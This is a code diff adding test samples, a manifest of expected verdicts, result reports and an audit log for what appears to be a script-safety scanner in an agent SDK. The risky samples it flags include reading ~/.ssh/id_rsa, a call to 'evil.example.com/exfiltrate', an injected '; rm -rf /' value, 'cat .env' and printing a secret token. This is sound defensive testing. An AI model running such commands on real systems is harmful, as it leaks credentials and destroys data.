"deny", + "rule_ids": [ + "RES001_UNBOUNDED_LOOP" + ], + "report_id": "rep-27a15ba6e65f417b", + "risk_level": "high", + "duration_ms": 0.3092000260949135, + "matches_expected": true, + "report": { + "report_id": "rep-27a15ba6e65f417b", + "decision": "deny", + "risk_level": "high", + "rule_ids": [ + "RES001_UNBOUNDED_LOOP" + ], + "findings": [ + { + "rule_id": "RES001_UNBOUNDED_LOOP", + "category": "resource", + "risk_level": "high", + "decision": "deny", + "evidence": { + "snippet": "while True:\n print(\"looping forever\")", + "line": 10, + "column": 5, + "language": "python", + "extras": { + "kind": "while-True" + } + }, + "recommendation": "Loop has no static exit condition; rewrite with a bounded range." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "010acb05343fb58a55c4c476833b41aa92ec3f4d92c0a215c3fdfe7e056933d3", + "scan_duration_ms": 0.3092000260949135, + "redacted": false + } + }, + { + "name": "secret_output", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "SECRET001_LOG_SINK" + ], + "report_id": "rep-3990531467af4b11", + "risk_level": "high", + "duration_ms": 0.3779999678954482, + "matches_expected": true, + "report": { + "report_id": "rep-3990531467af4b11", + "decision": "deny", + "risk_level": "high", + "rule_ids": [ + "SECRET001_LOG_SINK" + ], + "findings": [ + { + "rule_id": "SECRET001_LOG_SINK", + "category": "secret", + "risk_level": "high", + "decision": "deny", + "evidence": { + "snippet": "print(f\"token is {token}\")", + "line": 13, + "column": 5, + "language": "python", + "extras": { + "source": "", + "sink": "print" + } + }, + "recommendation": "Secret-looking value flows into a log/print sink." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "cb3345effcde943a3ff41940a638a0b6d3858874fe1c2d24fc915d7ea11391df", + "scan_duration_ms": 0.3779999678954482, + "redacted": false + } + }, + { + "name": "bash_pipeline", + "expected_decision": "needs_human_review", + "actual_decision": "needs_human_review", + "rule_ids": [ + "PROC003_SHELL_OPERATOR" + ], + "report_id": "rep-d1c13e8c7d5c4570", + "risk_level": "medium", + "duration_ms": 0.2742999931797385, + "matches_expected": true, + "report": { + "report_id": "rep-d1c13e8c7d5c4570", + "decision": "needs_human_review", + "risk_level": "medium", + "rule_ids": [ + "PROC003_SHELL_OPERATOR" + ], + "findings": [ + { + "rule_id": "PROC003_SHELL_OPERATOR", + "category": "process", + "risk_level": "medium", + "decision": "needs_human_review", + "evidence": { + "snippet": "|", + "line": 8, + "column": 10, + "language": "bash", + "extras": { + "operator": "|" + } + }, + "recommendation": "Shell operators require review; split into explicit steps." + } + ], + "recommendation": "Pause for human review before executing.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "51ba004f95b1c70917f73e0505224f8b3f5336c1a9749cbcc74294a5853c12bf", + "scan_duration_ms": 0.2742999931797385, + "redacted": false + } + }, + { + "name": "read_dotenv", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "FILE004_DOTENV_READ" + ], + "report_id": "rep-9830d02b7bfd44a3", + "risk_level": "high", + "duration_ms": 0.3378000110387802, + "matches_expected": true, + "report": { + "report_id": "rep-9830d02b7bfd44a3", + "decision": "deny", + "risk_level": "high", + "rule_ids": [ + "FILE004_DOTENV_READ" + ], + "findings": [ + { + "rule_id": "FILE004_DOTENV_READ", + "category": "file", + "risk_level": "high", + "decision": "deny", + "evidence": { + "snippet": "cat .env", + "line": 8, + "column": 1, + "language": "bash", + "extras": { + "target": ".env" + } + }, + "recommendation": "Loading .env at runtime can leak secrets; inject via env." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "aa52682b688ee2ac1359c7f1735b4156d13b51435ddd5b6cf023ea79008089cf", + "scan_duration_ms": 0.3378000110387802, + "redacted": false + } + }, + { + "name": "dynamic_command_review", + "expected_decision": "needs_human_review", + "actual_decision": "needs_human_review", + "rule_ids": [ + "PROC001_PROCESS_EXEC" + ], + "report_id": "rep-6dd75a5ba8ee4200", + "risk_level": "medium", + "duration_ms": 0.47910003922879696, + "matches_expected": true, + "report": { + "report_id": "rep-6dd75a5ba8ee4200", + "decision": "needs_human_review", + "risk_level": "medium", + "rule_ids": [ + "PROC001_PROCESS_EXEC" + ], + "findings": [ + { + "rule_id": "PROC001_PROCESS_EXEC", + "category": "process", + "risk_level": "medium", + "decision": "needs_human_review", + "evidence": { + "snippet": "subprocess.run(user_command, shell=False)", + "line": 19, + "column": 12, + "language": "python", + "extras": { + "executable": "" + } + }, + "recommendation": "Process executable is computed at runtime; review before executing." + } + ], + "recommendation": "Pause for human review before executing.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "d7c9ce3aa62f072faa9355fc411d807a933f34d770aa626e78c43607cb795a92", + "scan_duration_ms": 0.47910003922879696, + "redacted": false + } + } +] \ No newline at end of file diff --git a/trpc_agent_sdk/tools/safety/examples/samples/01_safe_python.py b/trpc_agent_sdk/tools/safety/examples/samples/01_safe_python.py new file mode 100644 index 00000000..685d729a --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/01_safe_python.py @@ -0,0 +1,21 @@ +"""Sample safe Python script. + +Expected scan result: decision=allow, rule_ids=['SAFE000']. +""" + +from __future__ import annotations + +import os + + +def list_cwd() -> list[str]: + return sorted(os.listdir(".")) + + +def main() -> None: + for entry in list_cwd(): + print(entry) + + +if __name__ == "__main__": + main() diff --git a/trpc_agent_sdk/tools/safety/examples/samples/02_safe_bash.sh b/trpc_agent_sdk/tools/safety/examples/samples/02_safe_bash.sh new file mode 100644 index 00000000..37809dcd --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/02_safe_bash.sh @@ -0,0 +1,9 @@ +#!/usr/bin/env bash +# Sample safe Bash script. +# Expected scan result: decision=allow, rule_ids=['SAFE000']. + +set -euo pipefail + +echo "hello world" +pwd +ls -la diff --git a/trpc_agent_sdk/tools/safety/examples/samples/03_dangerous_delete.py b/trpc_agent_sdk/tools/safety/examples/samples/03_dangerous_delete.py new file mode 100644 index 00000000..f5dc7a75 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/03_dangerous_delete.py @@ -0,0 +1,16 @@ +"""Recursive delete sample. + +Expected scan result: decision=deny, rule_ids contains FILE001_RECURSIVE_DELETE. +""" + +from __future__ import annotations + +import shutil + + +def purge_workspace(path: str) -> None: + shutil.rmtree(path) + + +if __name__ == "__main__": + purge_workspace("/tmp/scratch") diff --git a/trpc_agent_sdk/tools/safety/examples/samples/04_read_ssh_key.py b/trpc_agent_sdk/tools/safety/examples/samples/04_read_ssh_key.py new file mode 100644 index 00000000..f7cb2e9e --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/04_read_ssh_key.py @@ -0,0 +1,18 @@ +"""Read SSH key sample. + +Expected scan result: decision=deny, rule_ids contains FILE003_CREDENTIAL_READ. +""" + +from __future__ import annotations + +import os +from pathlib import Path + + +def dump_key(home: str) -> str: + path = Path(home) / ".ssh" / "id_rsa" + return path.read_text() + + +if __name__ == "__main__": + print(dump_key(os.path.expanduser("~"))) diff --git a/trpc_agent_sdk/tools/safety/examples/samples/05_non_whitelist_network.py b/trpc_agent_sdk/tools/safety/examples/samples/05_non_whitelist_network.py new file mode 100644 index 00000000..5e90d508 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/05_non_whitelist_network.py @@ -0,0 +1,17 @@ +"""Non-allowlist network sample. + +Expected scan result: decision=deny, rule_ids contains NET001_DOMAIN_NOT_ALLOWED. +""" + +from __future__ import annotations + +import requests + + +def fetch() -> dict: + response = requests.get("https://evil.example.com/exfiltrate", timeout=5) + return response.json() + + +if __name__ == "__main__": + print(fetch()) diff --git a/trpc_agent_sdk/tools/safety/examples/samples/06_whitelist_network.py b/trpc_agent_sdk/tools/safety/examples/samples/06_whitelist_network.py new file mode 100644 index 00000000..39e13997 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/06_whitelist_network.py @@ -0,0 +1,20 @@ +"""Allowlist network sample. + +Expected scan result: decision=allow, rule_ids=['SAFE000']. +""" + +from __future__ import annotations + +import requests + + +def fetch_user(handle: str) -> dict: + response = requests.get( + f"https://api.github.com/users/{handle}", timeout=5, + ) + response.raise_for_status() + return response.json() + + +if __name__ == "__main__": + print(fetch_user("octocat")) diff --git a/trpc_agent_sdk/tools/safety/examples/samples/07_allowed_subprocess.py b/trpc_agent_sdk/tools/safety/examples/samples/07_allowed_subprocess.py new file mode 100644 index 00000000..f78e4278 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/07_allowed_subprocess.py @@ -0,0 +1,25 @@ +"""Allowed subprocess sample. + +Expected scan result: decision=allow, rule_ids=['SAFE000']. + +The executable ``python`` is on the allow list and the call uses +``shell=False`` with a static argv list, so PROC001 does not fire. +""" + +from __future__ import annotations + +import subprocess + + +def run_self_check() -> int: + completed = subprocess.run( + ["python", "-c", "print('allowed-subprocess-ok')"], + capture_output=True, + text=True, + check=True, + ) + return completed.returncode + + +if __name__ == "__main__": + raise SystemExit(run_self_check()) diff --git a/trpc_agent_sdk/tools/safety/examples/samples/08_shell_injection.py b/trpc_agent_sdk/tools/safety/examples/samples/08_shell_injection.py new file mode 100644 index 00000000..0214ac04 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/08_shell_injection.py @@ -0,0 +1,18 @@ +"""Shell injection sample. + +Expected scan result: decision=deny, rule_ids contains PROC002_SHELL_INJECTION. +""" + +from __future__ import annotations + +import subprocess + + +def run_untrusted(user_input: str) -> int: + return subprocess.run( + f"ls {user_input}", shell=True, check=False, + ).returncode + + +if __name__ == "__main__": + raise SystemExit(run_untrusted("; rm -rf /")) diff --git a/trpc_agent_sdk/tools/safety/examples/samples/09_dependency_install.sh b/trpc_agent_sdk/tools/safety/examples/samples/09_dependency_install.sh new file mode 100644 index 00000000..a8473e92 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/09_dependency_install.sh @@ -0,0 +1,8 @@ +#!/usr/bin/env bash +# Dependency install sample. +# Expected scan result: decision=deny, rule_ids contains DEP001_ENV_MUTATION. + +set -euo pipefail + +pip install requests +npm install lodash diff --git a/trpc_agent_sdk/tools/safety/examples/samples/10_infinite_loop.py b/trpc_agent_sdk/tools/safety/examples/samples/10_infinite_loop.py new file mode 100644 index 00000000..7dc07c02 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/10_infinite_loop.py @@ -0,0 +1,15 @@ +"""Unbounded loop sample. + +Expected scan result: decision=deny, rule_ids contains RES001_UNBOUNDED_LOOP. +""" + +from __future__ import annotations + + +def spam() -> None: + while True: + print("looping forever") + + +if __name__ == "__main__": + spam() diff --git a/trpc_agent_sdk/tools/safety/examples/samples/11_sensitive_output.py b/trpc_agent_sdk/tools/safety/examples/samples/11_sensitive_output.py new file mode 100644 index 00000000..5c98f459 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/11_sensitive_output.py @@ -0,0 +1,17 @@ +"""Secret-to-output sample. + +Expected scan result: decision=deny, rule_ids contains SECRET001_LOG_SINK. +""" + +from __future__ import annotations + +import os + + +def leak() -> None: + token = os.environ["API_TOKEN"] + print(f"token is {token}") + + +if __name__ == "__main__": + leak() diff --git a/trpc_agent_sdk/tools/safety/examples/samples/12_bash_pipeline.sh b/trpc_agent_sdk/tools/safety/examples/samples/12_bash_pipeline.sh new file mode 100644 index 00000000..3c18198e --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/12_bash_pipeline.sh @@ -0,0 +1,8 @@ +#!/usr/bin/env bash +# Shell pipeline sample. +# Expected scan result: decision=needs_human_review, +# rule_ids contains PROC003_SHELL_OPERATOR. + +set -euo pipefail + +ls -la | grep "\.py$" | wc -l diff --git a/trpc_agent_sdk/tools/safety/examples/samples/13_read_dotenv.sh b/trpc_agent_sdk/tools/safety/examples/samples/13_read_dotenv.sh new file mode 100644 index 00000000..c29a8bf2 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/13_read_dotenv.sh @@ -0,0 +1,8 @@ +#!/usr/bin/env bash +# .env read sample. +# Expected scan result: decision=deny, +# rule_ids contains FILE004_DOTENV_READ. + +set -euo pipefail + +cat .env diff --git a/trpc_agent_sdk/tools/safety/examples/samples/14_dynamic_command_review.py b/trpc_agent_sdk/tools/safety/examples/samples/14_dynamic_command_review.py new file mode 100644 index 00000000..5f3311c6 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/14_dynamic_command_review.py @@ -0,0 +1,23 @@ +"""Dynamic command sample. + +Expected scan result: decision=needs_human_review, +rule_ids contains PROC001_PROCESS_EXEC (dynamic command) or +PARSE001_UNCERTAIN. + +The script reads a command from stdin and executes it; the guard cannot +statically know what will run, so it falls back to review. +""" + +from __future__ import annotations + +import subprocess +import sys + + +def main() -> int: + user_command = sys.argv[1] if len(sys.argv) > 1 else "echo hello" + return subprocess.run(user_command, shell=False).returncode + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/trpc_agent_sdk/tools/safety/examples/samples/manifest.yaml b/trpc_agent_sdk/tools/safety/examples/samples/manifest.yaml new file mode 100644 index 00000000..d15b7e12 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/samples/manifest.yaml @@ -0,0 +1,84 @@ +samples: + - name: safe_python + file: 01_safe_python.py + language: python + expected_decision: allow + expected_rule_ids: [SAFE000] + + - name: safe_bash + file: 02_safe_bash.sh + language: bash + expected_decision: allow + expected_rule_ids: [SAFE000] + + - name: dangerous_recursive_delete + file: 03_dangerous_delete.py + language: python + expected_decision: deny + expected_rule_ids: [FILE001_RECURSIVE_DELETE] + + - name: read_ssh_key + file: 04_read_ssh_key.py + language: python + expected_decision: deny + expected_rule_ids: [FILE003_CREDENTIAL_READ] + + - name: non_allowlist_network + file: 05_non_whitelist_network.py + language: python + expected_decision: deny + expected_rule_ids: [NET001_DOMAIN_NOT_ALLOWED] + + - name: allowlist_network + file: 06_whitelist_network.py + language: python + expected_decision: allow + expected_rule_ids: [SAFE000] + + - name: allowed_subprocess + file: 07_allowed_subprocess.py + language: python + expected_decision: allow + expected_rule_ids: [SAFE000] + + - name: shell_injection + file: 08_shell_injection.py + language: python + expected_decision: deny + expected_rule_ids: [PROC002_SHELL_INJECTION] + + - name: dependency_install + file: 09_dependency_install.sh + language: bash + expected_decision: deny + expected_rule_ids: [DEP001_ENV_MUTATION] + + - name: infinite_loop + file: 10_infinite_loop.py + language: python + expected_decision: deny + expected_rule_ids: [RES001_UNBOUNDED_LOOP] + + - name: secret_output + file: 11_sensitive_output.py + language: python + expected_decision: deny + expected_rule_ids: [SECRET001_LOG_SINK] + + - name: bash_pipeline + file: 12_bash_pipeline.sh + language: bash + expected_decision: needs_human_review + expected_rule_ids: [PROC003_SHELL_OPERATOR] + + - name: read_dotenv + file: 13_read_dotenv.sh + language: bash + expected_decision: deny + expected_rule_ids: [FILE004_DOTENV_READ] + + - name: dynamic_command_review + file: 14_dynamic_command_review.py + language: python + expected_decision: needs_human_review + expected_rule_ids: [PROC001_PROCESS_EXEC] diff --git a/trpc_agent_sdk/tools/safety/examples/tool_safety_audit.jsonl b/trpc_agent_sdk/tools/safety/examples/tool_safety_audit.jsonl new file mode 100644 index 00000000..6a70b98f --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/tool_safety_audit.jsonl @@ -0,0 +1,29 @@ +{"decision":"deny","duration_ms":0.6739000091329217,"event_id":"rep-47df434f9e694e5a","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-47df434f9e694e5a","risk_level":"critical","rule_ids":["FILE001_RECURSIVE_DELETE"],"scanner_version":"1.0.0","script_sha256":"190f022e0277f968f73f655c896143edd741fd126d3e4e2032ef49117e533bd9","timestamp":"2026-07-14T09:28:05.200688+00:00","tool_kind":"unknown","tool_name":"sample"} +{"decision":"allow","duration_ms":0.39739999920129776,"event_id":"rep-eb5bdf1a43464859","execution_blocked":false,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-eb5bdf1a43464859","risk_level":"info","rule_ids":["SAFE000"],"scanner_version":"1.0.0","script_sha256":"abceeaaec48b8039440cfe2965b16b583fdbba619fdee4ef37e2bacb0a3409c6","timestamp":"2026-07-14T09:28:05.741180+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"allow","duration_ms":1.1812999146059155,"event_id":"rep-438f2f12ae3843c8","execution_blocked":false,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-438f2f12ae3843c8","risk_level":"info","rule_ids":["SAFE000"],"scanner_version":"1.0.0","script_sha256":"ed01a81b947444d4baffce077fd4092f927bbc7fcf3d85ad5e3ad665cedb59d6","timestamp":"2026-07-14T09:28:05.751726+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.6085999775677919,"event_id":"rep-a75f3456be284309","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-a75f3456be284309","risk_level":"critical","rule_ids":["FILE001_RECURSIVE_DELETE"],"scanner_version":"1.0.0","script_sha256":"190f022e0277f968f73f655c896143edd741fd126d3e4e2032ef49117e533bd9","timestamp":"2026-07-14T09:28:05.757024+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.49100001342594624,"event_id":"rep-9e3f436856a84244","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-9e3f436856a84244","risk_level":"critical","rule_ids":["FILE003_CREDENTIAL_READ"],"scanner_version":"1.0.0","script_sha256":"12ecf602862d52505db684562b72f6344a1215e900530a08b3d403f640cd3bdc","timestamp":"2026-07-14T09:28:05.759567+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.49080001190304756,"event_id":"rep-4777b5846b664703","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-4777b5846b664703","risk_level":"high","rule_ids":["NET001_DOMAIN_NOT_ALLOWED"],"scanner_version":"1.0.0","script_sha256":"4b9ead86041e4de5143a88150db65414d87478f4101e75b05dc17640f5450f90","timestamp":"2026-07-14T09:28:05.761714+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"allow","duration_ms":0.5105000454932451,"event_id":"rep-8c8bc12f448f4a40","execution_blocked":false,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-8c8bc12f448f4a40","risk_level":"info","rule_ids":["SAFE000"],"scanner_version":"1.0.0","script_sha256":"91ec771a616b8170154dc89c2f9b857561a41d94f642ee5be6809cf578b60233","timestamp":"2026-07-14T09:28:05.767821+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"allow","duration_ms":0.44510001316666603,"event_id":"rep-293672faf8bb4043","execution_blocked":false,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-293672faf8bb4043","risk_level":"info","rule_ids":["SAFE000"],"scanner_version":"1.0.0","script_sha256":"c4964d41038acace3b140b307c78f2c059a6b6cf21c677f9fb386a7dc5013093","timestamp":"2026-07-14T09:28:05.770463+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.5843000253662467,"event_id":"rep-4f2adabfafb84061","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-4f2adabfafb84061","risk_level":"critical","rule_ids":["PROC002_SHELL_INJECTION","PROC003_SHELL_OPERATOR"],"scanner_version":"1.0.0","script_sha256":"2d43a58affa3528860aa1a7fa400b161c4e766138a50e1f94ceaa20413a0960a","timestamp":"2026-07-14T09:28:05.774470+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.3079000161960721,"event_id":"rep-70dea67ad3bf46f9","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-70dea67ad3bf46f9","risk_level":"high","rule_ids":["DEP001_ENV_MUTATION","PROC001_PROCESS_EXEC"],"scanner_version":"1.0.0","script_sha256":"c5eac42d35862e3dfb843d596a6239960e1d826180f0a77b20874c79918d86a3","timestamp":"2026-07-14T09:28:05.777586+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.5041999975219369,"event_id":"rep-44f52f732ce4416b","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-44f52f732ce4416b","risk_level":"high","rule_ids":["RES001_UNBOUNDED_LOOP"],"scanner_version":"1.0.0","script_sha256":"010acb05343fb58a55c4c476833b41aa92ec3f4d92c0a215c3fdfe7e056933d3","timestamp":"2026-07-14T09:28:05.781733+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.47889992129057646,"event_id":"rep-8a6774a2b6494ee7","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-8a6774a2b6494ee7","risk_level":"high","rule_ids":["SECRET001_LOG_SINK"],"scanner_version":"1.0.0","script_sha256":"cb3345effcde943a3ff41940a638a0b6d3858874fe1c2d24fc915d7ea11391df","timestamp":"2026-07-14T09:28:05.785584+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"needs_human_review","duration_ms":0.34009991213679314,"event_id":"rep-bd75fe2b3a284ef1","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-bd75fe2b3a284ef1","risk_level":"medium","rule_ids":["PROC003_SHELL_OPERATOR"],"scanner_version":"1.0.0","script_sha256":"51ba004f95b1c70917f73e0505224f8b3f5336c1a9749cbcc74294a5853c12bf","timestamp":"2026-07-14T09:28:05.789309+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.23210002109408379,"event_id":"rep-15b7a1ecf0b34852","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-15b7a1ecf0b34852","risk_level":"high","rule_ids":["FILE004_DOTENV_READ"],"scanner_version":"1.0.0","script_sha256":"aa52682b688ee2ac1359c7f1735b4156d13b51435ddd5b6cf023ea79008089cf","timestamp":"2026-07-14T09:28:05.792470+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"needs_human_review","duration_ms":0.5165999755263329,"event_id":"rep-180b5c770af743b5","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-180b5c770af743b5","risk_level":"medium","rule_ids":["PROC001_PROCESS_EXEC"],"scanner_version":"1.0.0","script_sha256":"d7c9ce3aa62f072faa9355fc411d807a933f34d770aa626e78c43607cb795a92","timestamp":"2026-07-14T09:28:05.795368+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"allow","duration_ms":0.38300000596791506,"event_id":"rep-61e0c448ab064221","execution_blocked":false,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-61e0c448ab064221","risk_level":"info","rule_ids":["SAFE000"],"scanner_version":"1.0.0","script_sha256":"abceeaaec48b8039440cfe2965b16b583fdbba619fdee4ef37e2bacb0a3409c6","timestamp":"2026-07-14T09:30:17.038136+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"allow","duration_ms":0.5827000131830573,"event_id":"rep-b583bba1bb944efe","execution_blocked":false,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-b583bba1bb944efe","risk_level":"info","rule_ids":["SAFE000"],"scanner_version":"1.0.0","script_sha256":"ed01a81b947444d4baffce077fd4092f927bbc7fcf3d85ad5e3ad665cedb59d6","timestamp":"2026-07-14T09:30:17.067481+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.41360000614076853,"event_id":"rep-3b18c79ff0f6402d","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-3b18c79ff0f6402d","risk_level":"critical","rule_ids":["FILE001_RECURSIVE_DELETE"],"scanner_version":"1.0.0","script_sha256":"190f022e0277f968f73f655c896143edd741fd126d3e4e2032ef49117e533bd9","timestamp":"2026-07-14T09:30:17.070483+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.5028999876230955,"event_id":"rep-72ef7681f35b46b3","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-72ef7681f35b46b3","risk_level":"critical","rule_ids":["FILE003_CREDENTIAL_READ"],"scanner_version":"1.0.0","script_sha256":"12ecf602862d52505db684562b72f6344a1215e900530a08b3d403f640cd3bdc","timestamp":"2026-07-14T09:30:17.074482+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.4389999667182565,"event_id":"rep-f005efced1e9411e","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-f005efced1e9411e","risk_level":"high","rule_ids":["NET001_DOMAIN_NOT_ALLOWED"],"scanner_version":"1.0.0","script_sha256":"4b9ead86041e4de5143a88150db65414d87478f4101e75b05dc17640f5450f90","timestamp":"2026-07-14T09:30:17.077661+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"allow","duration_ms":0.4502000520005822,"event_id":"rep-459b750a8a6e4dc6","execution_blocked":false,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-459b750a8a6e4dc6","risk_level":"info","rule_ids":["SAFE000"],"scanner_version":"1.0.0","script_sha256":"91ec771a616b8170154dc89c2f9b857561a41d94f642ee5be6809cf578b60233","timestamp":"2026-07-14T09:30:17.080175+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"allow","duration_ms":0.45489997137337923,"event_id":"rep-04b3b962abcb4bbf","execution_blocked":false,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-04b3b962abcb4bbf","risk_level":"info","rule_ids":["SAFE000"],"scanner_version":"1.0.0","script_sha256":"c4964d41038acace3b140b307c78f2c059a6b6cf21c677f9fb386a7dc5013093","timestamp":"2026-07-14T09:30:17.082685+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.6623999215662479,"event_id":"rep-f5144163c5094313","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-f5144163c5094313","risk_level":"critical","rule_ids":["PROC002_SHELL_INJECTION","PROC003_SHELL_OPERATOR"],"scanner_version":"1.0.0","script_sha256":"2d43a58affa3528860aa1a7fa400b161c4e766138a50e1f94ceaa20413a0960a","timestamp":"2026-07-14T09:30:17.086785+00:00","tool_kind":"unknown","tool_name":"cli"} +{"decision":"deny","duration_ms":0.4143000114709139,"event_id":"rep-ccf3e7dc48844c75","execution_blocked":true,"invocation_id":null,"policy_hash":"b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38","policy_version":"1","redacted":false,"report_id":"rep-ccf3e7dc48844c75","risk_level":"high","rule_ids":["DEP001_ENV_MUTATION","PROC001_PROCESS_EXEC"],"scanner_version":"1.0.0","script_sha256":"c5eac42d35862e3dfb843d596a6239960e1d826180f0a77b20874c79918d86a3","timestamp":"2026-07-14T09:30:17.089425+00:00","tool_kind":"unknown","tool_name":"cli"} 